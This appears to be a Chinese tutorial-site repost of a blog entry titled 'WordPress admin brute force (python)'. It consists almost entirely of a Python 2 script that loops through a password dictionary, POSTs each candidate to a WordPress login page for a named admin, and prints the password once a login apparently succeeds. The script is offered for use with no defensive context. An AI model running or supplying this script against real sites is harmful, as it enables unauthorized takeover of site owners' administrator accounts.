网站地图    收藏   

主页 > 后端 > 网站安全 >

wordpress后台暴力破解(python) - 网站安全 - 自学p

来源:自学PHP网    时间:2015-04-17 14:11 作者: 阅读:

[导读] #Coding = UTF-802 import urllib, time, sys0304 start = time.time()05 errors = []06 def exploit(url, name, dictionary):07 for line in open(dictionary):08 line = line.strip()0......

#Coding = UTF-8 
 
02 import urllib, time, sys 
 
03   
 
04 start = time.time() 
 
05 errors = [] 
 
06 def exploit(url, name, dictionary): 
 
07     for line in open(dictionary): 
 
08         line = line.strip() 
 
09         try: 
 
10             data = urllib.urlencode({'log':name,'pwd':line,'redirect_to':''}) 
 
11             content = urllib.urlopen(url, data) 
 
12             if content.read() == '': 
 
13                 print "Password is : %s" % line 
 
14                 print time.time() - start 
 
15                 sys.exit() 
 
16             else:  www.2cto.com
 
17                 print "try %s failed" % line 
 
18         except IOError: 
 
19             errors.append(line) 
 
20             print "try %s occurs IOERROR, add to list and retry it later" % line 
 
21   
 
22 if __name__ == "__main__": 
 
23     if len(sys.argv) < 4: 
 
24         print 'Usage: Url AdminName Dictionary'
 
25         sys.exit(1) 
 
26     exploit(sys.argv[1], sys.argv[2], sys.argv[3]) 
 
27     while errors: 
 
28         for i,line in enumerate(errors): 
 
29             try: 
 
30                 data = urllib.urlencode({'log':sys.argv[2],'pwd':line,'redirect_to':''}) 
 
31                 content = urllib.urlopen(sys.argv[1], data) 
 
32                 if content.read() == '': 
 
33                     print "Password is : %s" % line 
 
34                     print time.time() - start 
 
35                     sys.exit() 
 
36                 else: 
 
37                     print "try %s failed" % line 
 
38                     del errors[i] 
 
39             except IOError: 
 
40                 errors.append(line) 
 
41                 print "try %s occurs IOERROR, add to list and retry it later" % line 
 
42     print time.time() - start

摘自 yezi 's blog

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论